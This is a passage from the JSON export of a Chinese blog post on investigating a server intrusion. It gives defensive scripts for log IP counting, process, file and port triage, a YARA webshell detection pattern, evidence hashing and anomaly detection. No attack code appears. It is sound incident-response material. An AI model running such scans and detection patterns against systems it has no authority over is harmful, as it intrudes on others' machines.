\/>\n        <span class=\"token keyword\">for<\/span> line <span class=\"token keyword\">in<\/span> f<span class=\"token punctuation\">:<\/span><br \/>\n            <span class=\"token keyword\">match<\/span> <span class=\"token operator\">&#061;<\/span> re<span class=\"token punctuation\">.<\/span>search<span class=\"token punctuation\">(<\/span>pattern<span class=\"token punctuation\">,<\/span> line<span class=\"token punctuation\">)<\/span><br \/>\n            <span class=\"token keyword\">if<\/span> <span class=\"token keyword\">match<\/span><span class=\"token punctuation\">:<\/span><br \/>\n                ips<span class=\"token punctuation\">.<\/span>append<span class=\"token punctuation\">(<\/span><span class=\"token keyword\">match<\/span><span class=\"token punctuation\">.<\/span>group<span class=\"token punctuation\">(<\/span><span class=\"token number\">1<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">)<\/span><br \/>\n    <span class=\"token keyword\">return<\/span> Counter<span class=\"token punctuation\">(<\/span>ips<span class=\"token punctuation\">)<\/span><\/p>\n<p><span class=\"token keyword\">print<\/span><span class=\"token punctuation\">(<\/span>count_ips<span class=\"token punctuation\">(<\/span><span class=\"token string\">&#039;\/var\/log\/auth.log&#039;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p>\u6b64\u51fd\u6570\u53ef\u96c6\u6210\u5230cron\u4efb\u52a1&#xff0c;\u6bcf\u5c0f\u65f6\u8fd0\u884c\u5e76\u63a8\u9001\u544a\u8b66\u81f3Telegram\u3002<\/p>\n<\/li>\n<li>\n<p>\u81ea\u52a8\u5316\u53d6\u8bc1&#xff1a;\u7f16\u5199Shell\u548cPython\u811a\u672c\u7ec4\u5408\u4f7f\u7528&#xff0c;\u5b9e\u73b0\u5feb\u901f\u5168\u76d8\u626b\u63cf\u3002\u4f8b\u5982&#xff1a;<\/p>\n<p><span class=\"token shebang important\">#!\/bin\/bash<\/span><br \/>\n<span class=\"token comment\"># \u5feb\u901f\u5b89\u5168\u68c0\u67e5\u811a\u672c &#8211; \u6269\u5c55\u7248<\/span><br \/>\n<span class=\"token builtin class-name\">echo<\/span> <span class=\"token string\">&#034;&#061;&#061;&#061; \u53ef\u7591\u8fdb\u7a0b &#061;&#061;&#061;&#034;<\/span><br \/>\n<span class=\"token function\">ps<\/span> aux <span class=\"token operator\">|<\/span> <span class=\"token function\">grep<\/span> <span class=\"token parameter variable\">-vE<\/span> <span class=\"token string\">&#039;root|ssh&#039;<\/span> <span class=\"token operator\">|<\/span> <span class=\"token function\">awk<\/span> <span class=\"token string\">&#039;$3 &gt; 0.0&#039;<\/span><br \/>\n<span class=\"token builtin class-name\">echo<\/span> <span class=\"token string\">&#034;&#061;&#061;&#061; \u5f02\u5e38\u6587\u4ef6 &#061;&#061;&#061;&#034;<\/span><br \/>\n<span class=\"token function\">find<\/span> \/ <span class=\"token parameter variable\">-name<\/span> <span class=\"token string\">&#034;*.php&#034;<\/span> <span class=\"token parameter variable\">-o<\/span> <span class=\"token parameter variable\">-name<\/span> <span class=\"token string\">&#034;miner&#034;<\/span> <span class=\"token parameter variable\">-o<\/span> <span class=\"token parameter variable\">-name<\/span> <span class=\"token string\">&#034;.hidden&#034;<\/span> <span class=\"token operator\"><span class=\"token file-descriptor important\">2<\/span>&gt;<\/span>\/dev\/null<br \/>\n<span class=\"token builtin class-name\">echo<\/span> <span class=\"token string\">&#034;&#061;&#061;&#061; \u7aef\u53e3\u76d1\u542c &#061;&#061;&#061;&#034;<\/span><br \/>\n<span class=\"token function\">netstat<\/span> <span class=\"token parameter variable\">-tuln<\/span><br \/>\n<span class=\"token builtin class-name\">echo<\/span> <span class=\"token string\">&#034;&#061;&#061;&#061; \u6587\u4ef6\u5c5e\u6027 &#061;&#061;&#061;&#034;<\/span><br \/>\nlsattr <span class=\"token parameter variable\">-RV<\/span> \/etc\/<\/p>\n<p>\u7ed3\u5408YARA\u89c4\u5219\u626b\u63cf\u6587\u4ef6&#xff1a;<\/p>\n<p>yara <span class=\"token parameter variable\">-r<\/span> \/path\/to\/rules.yar \/var\/www\/html\/<\/p>\n<p>YARA\u89c4\u5219\u793a\u4f8b\u68c0\u6d4bwebshell\u7279\u5f81\u5982eval\\\\(|\\\\$\\\\_POST\u3002<\/p>\n<\/li>\n<li>\n<p>AI\u8f85\u52a9\u68c0\u6d4b&#xff1a;\u4f7f\u7528Python\u7ed3\u5408scikit-learn\u8bad\u7ec3\u6a21\u578b&#xff0c;\u8bc6\u522b\u767b\u5f55\u884c\u4e3a\u57fa\u7ebf\u504f\u5dee\u3002\u4f8b\u5982\u76d1\u63a7\u5355IP\u767b\u5f55\u9891\u7387\u548c\u65f6\u95f4\u7a97\u53e3\u662f\u5426\u5f02\u5e38\u3002\u6216\u8005\u4f7f\u7528\u6b63\u5219&#043;\u81ea\u5b9a\u4e49\u6a21\u578b\u68c0\u6d4b\u5f02\u5e38\u6a21\u5f0f\u3002from sklearn.ensemble import IsolationForest&#xff0c;\u8bad\u7ec3\u6a21\u578b\u68c0\u6d4blogin_attempts\u79bb\u7fa4\u503c\u3002<\/p>\n<\/li>\n<li>\n<p>\u4e91\u5b89\u5168\u96c6\u6210&#xff1a;\u7ed3\u5408\u4e91\u5382\u5546\u5b89\u5168\u7ec4\u53d8\u66f4\u65e5\u5fd7\u548cWAF\u5ba1\u8ba1&#xff0c;\u6784\u5efa\u7aef\u5230\u7aef\u6eaf\u6e90\u94fe\u8def\u3002AWS\u7528\u6237\u53ef\u67e5\u8be2DescribeVpc\u548cDescribeFlowLogs\u3002\u963f\u91cc\u4e91\u7528\u6237\u4f7f\u7528DescribeSecurityGroup\u548cAccessLog\u3002<\/p>\n<\/li>\n<li>\n<p>\u8bc1\u636e\u4fdd\u7559&#xff1a;\u5165\u4fb5\u540e\u7acb\u5373\u5236\u4f5cMD5\u5feb\u7167\u5e76\u5b58\u6863&#xff0c;\u9632\u6b62\u8bc1\u636e\u88ab\u7be1\u6539\u3002\u4f7f\u7528sha256sum -b \/path\/* &gt; checksums.txt\u3002<\/p>\n<\/li>\n<li>\n<p>\u8fdb\u9636\u81ea\u52a8\u5316&#xff1a;\u7f16\u5199Python\u4e00\u952e\u6392\u67e5\u811a\u672c&#xff0c;\u6574\u5408ps aux\u3001find\u3001netstat\u3001lsof&#xff0c;\u5e76\u8f93\u51faHTML\u62a5\u544a\u3002jinja2\u6a21\u677f\u751f\u6210report.html&#xff0c;\u5305\u542b\u56fe\u8868\u3002<\/p>\n<\/li>\n<li>\n<p>\u5b9a\u671f\u6f14\u7ec3&#xff1a;\u6a21\u62df\u5165\u4fb5\u573a\u666f&#xff0c;\u4f7f\u7528chaosmonkey\u6d4b\u8bd5\u54cd\u5e94\u80fd\u529b\u3002\u8bb0\u5f55\u6f14\u7ec3\u65e5\u5fd7&#xff0c;\u5b9a\u671f\u66f4\u65b0\u54cd\u5e94\u8ba1\u5212\u3002<\/p>\n<\/li>\n<li>\n<p>\u6301\u7eed\u96c6\u6210\u5b89\u5168&#xff1a;\u96c6\u6210\u5230CI\/CD&#xff0c;pre-commit\u626b\u63cf\u63d0\u4ea4\u524d\u6f0f\u6d1e\u3002\u4f7f\u7528trivy\u626b\u63cf\u955c\u50cf\u5b89\u5168\u3002<\/p>\n<\/li>\n<\/ul>\n<h3>\u603b\u7ed3\u4e0e\u5c55\u671b<\/h3>\n<p>\u901a\u8fc7\u5f02\u5e38\u767b\u5f55\u5230\u653b\u51fb\u6eaf\u6e90\u7684\u5b8c\u6574\u6392\u67e5\u601d\u8def&#xff0c;\u53ef\u7cfb\u7edf\u8fd8\u539f\u670d\u52a1\u5668\u5165\u4fb5\u5168\u8c8c\u3002\u4e0a\u8ff0\u6848\u4f8b\u5c55\u793a\u4e86\u65e5\u5fd7\u5206\u6790\u3001\u6d41\u91cf\u53d6\u8bc1\u548c\u540e\u95e8\u68c0\u67e5\u76f8\u7ed3\u5408\u7684\u6709\u6548\u65b9\u6cd5\u3002\u5b89\u5168\u5de5\u7a0b\u5e08\u5e94\u638c\u63e1\u591a\u5de5\u5177\u7ec4\u5408\u3001\u811a\u672c\u81ea\u52a8\u5316\u548c\u4e91\u5e73\u53f0\u96c6\u6210\u80fd\u529b\u3002<\/p>\n<p>\u5c55\u671b\u672a\u6765&#xff0c;\u968f\u7740\u91cf\u5b50\u8ba1\u7b97\u5a01\u80c1\u548cAI\u6280\u672f\u7684\u8fdb\u6b65&#xff0c;\u670d\u52a1\u5668\u5b89\u5168\u5c06\u5411\u96f6\u4fe1\u4efb\u67b6\u6784\u6f14\u8fdb\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/09\/20260923203304-6ab43780f406a.gif\" alt=\"\u8bf7\u6dfb\u52a0\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/09\/20260923203305-6ab4378131de9.png\" alt=\"\u8bf7\u6dfb\u52a0\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/09\/20260923203306-6ab43782638a8.png\" alt=\"\u8bf7\u6dfb\u52a0\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/09\/20260923203307-6ab437835b5e9.png\" alt=\"\u8bf7\u6dfb\u52a0\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/09\/20260923203307-6ab43783bf4da.jpg\" alt=\"\u8bf7\u6dfb\u52a0\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p>\u66f4\u591a\u786c\u6838\u7f51\u5b89\u4e0eAI\u5de5\u5177\u5305&#xff0c;\u8bf7\u626b\u7801\u83b7\u53d6\u5b8c\u6574\u6e90\u7801&#xff01;<br \/>\n\u7ed3\u5408\u5927\u6a21\u578b\u81ea\u7136\u8bed\u8a00\u5206\u6790\u5de5\u5177&#xff0c;\u5b9e\u73b0\u81ea\u52a8\u5316\u5165\u4fb5\u68c0\u6d4b\u548c\u667a\u80fd\u6eaf\u6e90&#xff0c;\u5c06\u663e\u8457\u63d0\u5347\u5b89\u5168\u8fd0\u8425\u6548\u7387\u3002\u5b89\u5168\u4ece\u4e1a\u8005\u5e94\u6301\u7eed\u5173\u6ce8\u65b0\u6280\u672f\u548c\u5de5\u5177&#xff0c;\u4e0d\u65ad\u5f3a\u5316\u9632\u5fa1\u80fd\u529b\u3002\u672a\u6765&#xff0c;\u7ed3\u5408\u884c\u4e3a\u57fa\u7ebfAI\u6a21\u578b\u548c\u91cf\u5b50\u5bc6\u94a5\u5206\u53d1&#xff0c;\u53ef\u8fdb\u4e00\u6b65\u964d\u4f4e\u88ab\u6e17\u900f\u98ce\u9669\u3002\u5b9a\u671f\u6f14\u7ec3\u5165\u4fb5\u54cd\u5e94\u8ba1\u5212&#xff0c;\u5e76\u5efa\u7acb\u8de8\u56e2\u961f\u534f\u4f5c\u673a\u5236&#xff0c;\u662f\u6784\u5efa\u575a\u56fa\u670d\u52a1\u5668\u5b89\u5168\u9632\u7ebf\u7684\u5173\u952e\u3002\u7ed3\u5408SOC\u5e73\u53f0\u4e0eXDR&#xff0c;\u6784\u5efa\u7aef\u5230\u7aef\u5b89\u5168\u8fd0\u8425\u4f53\u7cfb&#xff0c;\u5c06\u4f7f\u4f01\u4e1a\u5b89\u5168\u80fd\u529b\u4ece\u88ab\u52a8\u9632\u5fa1\u8f6c\u5411\u4e3b\u52a8\u514d\u75ab\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5f15\u8a00<br \/>\n\u968f\u7740\u4e91\u8ba1\u7b97\u3001\u8fdc\u7a0b\u529e\u516c\u548c\u7269\u8054\u7f51\u6280\u672f\u7684\u666e\u53ca&#xff0c;\u670d\u52a1\u5668\u5df2\u6210\u4e3a\u4f01\u4e1a\u6838\u5fc3\u8d44\u4ea7&#xff0c;\u5176\u5b89\u5168\u6027\u76f4\u63a5\u5f71\u54cd\u4e1a\u52a1\u8fde\u7eed\u6027\u548c\u6570\u636e\u5b89\u5168\u30022023\u5e74\u5168\u7403\u7f51\u7edc\u653b\u51fb\u4e8b\u4ef6\u6fc0\u589e&#xff0c;\u670d\u52a1\u5668\u5165\u4fb5\u6848\u4f8b\u5360\u6bd4\u8d85\u8fc735%\u3002\u653b\u51fb\u8005\u5e38\u5229\u7528\u6f0f\u6d1e\u5229\u7528\u3001\u5f31\u5bc6\u7801\u7206\u7834\u6216\u793e\u4f1a\u5de5\u7a0b\u5b66\u624b\u6bb5\u6e17\u900f\u670d\u52a1\u5668&#xff0c;\u7a83\u53d6\u6570\u636e\u3001\u690d\u5165\u540e\u95e8\u6216\u5efa\u7acb\u6301\u4e45\u63a7\u5236\u3002<br \/>\n\u75db\u70b9\u5728\u4e8e&#xff0c;\u5165\u4fb5\u540e\u653b\u51fb\u8005\u4f1a\u8fc5\u901f\u6e05\u7406\u65e5\u5fd7\u3001\u9690\u85cf\u75d5\u8ff9&#xff0c;\u5bfc\u81f4\u4e8b\u540e\u53d6\u8bc1\u56f0\u96be\u3002\u5f88\u591a\u4f01\u4e1a\u53d1\u73b0\u95ee\u9898\u65f6\u635f\u5931\u5df2\u6269\u6563&#xff0c;\u9020\u6210\u7ecf\u6d4e\u635f\u5931\u548c\u58f0\u8a89<\/p>\n","protected":false},"author":2,"featured_media":109431,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[66,50,1870,132,122],"topic":[],"class_list":["post-109437","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-server","tag-ai","tag-50","tag-1870","tag-132","tag-122"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>\u4e00\u6b21\u670d\u52a1\u5668\u5165\u4fb5\u662f\u600e\u4e48\u53d1\u751f\u7684\uff1f\u4ece\u5f02\u5e38\u767b\u5f55\u5230\u653b\u51fb\u6eaf\u6e90\u5b8c\u6574\u8fd8\u539f\u6392\u67e5\u601d\u8def\u200b - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/109437.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u4e00\u6b21\u670d\u52a1\u5668\u5165\u4fb5\u662f\u600e\u4e48\u53d1\u751f\u7684\uff1f\u4ece\u5f02\u5e38\u767b\u5f55\u5230\u653b\u51fb\u6eaf\u6e90\u5b8c\u6574\u8fd8\u539f\u6392\u67e5\u601d\u8def\u200b - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"\u5f15\u8a00 \u968f\u7740\u4e91\u8ba1\u7b97\u3001\u8fdc\u7a0b\u529e\u516c\u548c\u7269\u8054\u7f51\u6280\u672f\u7684\u666e\u53ca&#xff0c;\u670d\u52a1\u5668\u5df2\u6210\u4e3a\u4f01\u4e1a\u6838\u5fc3\u8d44\u4ea7&#xff0c;\u5176\u5b89\u5168\u6027\u76f4\u63a5\u5f71\u54cd\u4e1a\u52a1\u8fde\u7eed\u6027\u548c\u6570\u636e\u5b89\u5168\u30022023\u5e74\u5168\u7403\u7f51\u7edc\u653b\u51fb\u4e8b\u4ef6\u6fc0\u589e&#xff0c;\u670d\u52a1\u5668\u5165\u4fb5\u6848\u4f8b\u5360\u6bd4\u8d85\u8fc735%\u3002\u653b\u51fb\u8005\u5e38\u5229\u7528\u6f0f\u6d1e\u5229\u7528\u3001\u5f31\u5bc6\u7801\u7206\u7834\u6216\u793e\u4f1a\u5de5\u7a0b\u5b66\u624b\u6bb5\u6e17\u900f\u670d\u52a1\u5668&#xff0c;\u7a83\u53d6\u6570\u636e\u3001\u690d\u5165\u540e\u95e8\u6216\u5efa\u7acb\u6301\u4e45\u63a7\u5236\u3002 \u75db\u70b9\u5728\u4e8e&#xff0c;\u5165\u4fb5\u540e\u653b\u51fb\u8005\u4f1a\u8fc5\u901f\u6e05\u7406\u65e5\u5fd7\u3001\u9690\u85cf\u75d5\u8ff9&#xff0c;\u5bfc\u81f4\u4e8b\u540e\u53d6\u8bc1\u56f0\u96be\u3002\u5f88\u591a\u4f01\u4e1a\u53d1\u73b0\u95ee\u9898\u65f6\u635f\u5931\u5df2\u6269\u6563&#xff0c;\u9020\u6210\u7ecf\u6d4e\u635f\u5931\u548c\u58f0\u8a89\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wsisp.com\/helps\/109437.html\" \/>\n<meta property=\"og:site_name\" content=\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"article:published_time\" content=\"2026-09-23T20:33:09+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/09\/20260923203303-6ab4377fd61c1.jpg\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"9 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/109437.html\",\"url\":\"https:\/\/www.wsisp.com\/helps\/109437.html\",\"name\":\"\u4e00\u6b21\u670d\u52a1\u5668\u5165\u4fb5\u662f\u600e\u4e48\u53d1\u751f\u7684\uff1f\u4ece\u5f02\u5e38\u767b\u5f55\u5230\u653b\u51fb\u6eaf\u6e90\u5b8c\u6574\u8fd8\u539f\u6392\u67e5\u601d\u8def\u200b - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"isPartOf\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\"},\"datePublished\":\"2026-09-23T20:33:09+00:00\",\"dateModified\":\"2026-09-23T20:33:09+00:00\",\"author\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/109437.html#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.wsisp.com\/helps\/109437.html\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/109437.html#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.wsisp.com\/helps\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\u4e00\u6b21\u670d\u52a1\u5668\u5165\u4fb5\u662f\u600e\u4e48\u53d1\u751f\u7684\uff1f\u4ece\u5f02\u5e38\u767b\u5f55\u5230\u653b\u51fb\u6eaf\u6e90\u5b8c\u6574\u8fd8\u539f\u6392\u67e5\u601d\u8def\u200b\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\",\"url\":\"https:\/\/www.wsisp.com\/helps\/\",\"name\":\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"description\":\"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"contentUrl\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"caption\":\"admin\"},\"sameAs\":[\"http:\/\/wp.wsisp.com\"],\"url\":\"https:\/\/www.wsisp.com\/helps\/author\/admin\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\u4e00\u6b21\u670d\u52a1\u5668\u5165\u4fb5\u662f\u600e\u4e48\u53d1\u751f\u7684\uff1f\u4ece\u5f02\u5e38\u767b\u5f55\u5230\u653b\u51fb\u6eaf\u6e90\u5b8c\u6574\u8fd8\u539f\u6392\u67e5\u601d\u8def\u200b - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.wsisp.com\/helps\/109437.html","og_locale":"zh_CN","og_type":"article","og_title":"\u4e00\u6b21\u670d\u52a1\u5668\u5165\u4fb5\u662f\u600e\u4e48\u53d1\u751f\u7684\uff1f\u4ece\u5f02\u5e38\u767b\u5f55\u5230\u653b\u51fb\u6eaf\u6e90\u5b8c\u6574\u8fd8\u539f\u6392\u67e5\u601d\u8def\u200b - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","og_description":"\u5f15\u8a00 \u968f\u7740\u4e91\u8ba1\u7b97\u3001\u8fdc\u7a0b\u529e\u516c\u548c\u7269\u8054\u7f51\u6280\u672f\u7684\u666e\u53ca&#xff0c;\u670d\u52a1\u5668\u5df2\u6210\u4e3a\u4f01\u4e1a\u6838\u5fc3\u8d44\u4ea7&#xff0c;\u5176\u5b89\u5168\u6027\u76f4\u63a5\u5f71\u54cd\u4e1a\u52a1\u8fde\u7eed\u6027\u548c\u6570\u636e\u5b89\u5168\u30022023\u5e74\u5168\u7403\u7f51\u7edc\u653b\u51fb\u4e8b\u4ef6\u6fc0\u589e&#xff0c;\u670d\u52a1\u5668\u5165\u4fb5\u6848\u4f8b\u5360\u6bd4\u8d85\u8fc735%\u3002\u653b\u51fb\u8005\u5e38\u5229\u7528\u6f0f\u6d1e\u5229\u7528\u3001\u5f31\u5bc6\u7801\u7206\u7834\u6216\u793e\u4f1a\u5de5\u7a0b\u5b66\u624b\u6bb5\u6e17\u900f\u670d\u52a1\u5668&#xff0c;\u7a83\u53d6\u6570\u636e\u3001\u690d\u5165\u540e\u95e8\u6216\u5efa\u7acb\u6301\u4e45\u63a7\u5236\u3002 \u75db\u70b9\u5728\u4e8e&#xff0c;\u5165\u4fb5\u540e\u653b\u51fb\u8005\u4f1a\u8fc5\u901f\u6e05\u7406\u65e5\u5fd7\u3001\u9690\u85cf\u75d5\u8ff9&#xff0c;\u5bfc\u81f4\u4e8b\u540e\u53d6\u8bc1\u56f0\u96be\u3002\u5f88\u591a\u4f01\u4e1a\u53d1\u73b0\u95ee\u9898\u65f6\u635f\u5931\u5df2\u6269\u6563&#xff0c;\u9020\u6210\u7ecf\u6d4e\u635f\u5931\u548c\u58f0\u8a89","og_url":"https:\/\/www.wsisp.com\/helps\/109437.html","og_site_name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","article_published_time":"2026-09-23T20:33:09+00:00","og_image":[{"url":"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/09\/20260923203303-6ab4377fd61c1.jpg"}],"author":"admin","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"admin","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"9 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.wsisp.com\/helps\/109437.html","url":"https:\/\/www.wsisp.com\/helps\/109437.html","name":"\u4e00\u6b21\u670d\u52a1\u5668\u5165\u4fb5\u662f\u600e\u4e48\u53d1\u751f\u7684\uff1f\u4ece\u5f02\u5e38\u767b\u5f55\u5230\u653b\u51fb\u6eaf\u6e90\u5b8c\u6574\u8fd8\u539f\u6392\u67e5\u601d\u8def\u200b - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","isPartOf":{"@id":"https:\/\/www.wsisp.com\/helps\/#website"},"datePublished":"2026-09-23T20:33:09+00:00","dateModified":"2026-09-23T20:33:09+00:00","author":{"@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41"},"breadcrumb":{"@id":"https:\/\/www.wsisp.com\/helps\/109437.html#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.wsisp.com\/helps\/109437.html"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.wsisp.com\/helps\/109437.html#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.wsisp.com\/helps"},{"@type":"ListItem","position":2,"name":"\u4e00\u6b21\u670d\u52a1\u5668\u5165\u4fb5\u662f\u600e\u4e48\u53d1\u751f\u7684\uff1f\u4ece\u5f02\u5e38\u767b\u5f55\u5230\u653b\u51fb\u6eaf\u6e90\u5b8c\u6574\u8fd8\u539f\u6392\u67e5\u601d\u8def\u200b"}]},{"@type":"WebSite","@id":"https:\/\/www.wsisp.com\/helps\/#website","url":"https:\/\/www.wsisp.com\/helps\/","name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","description":"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41","name":"admin","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/","url":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","contentUrl":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","caption":"admin"},"sameAs":["http:\/\/wp.wsisp.com"],"url":"https:\/\/www.wsisp.com\/helps\/author\/admin"}]}},"_links":{"self":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/109437","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/comments?post=109437"}],"version-history":[{"count":0,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/109437\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media\/109431"}],"wp:attachment":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media?parent=109437"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/categories?post=109437"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/tags?post=109437"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/topic?post=109437"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}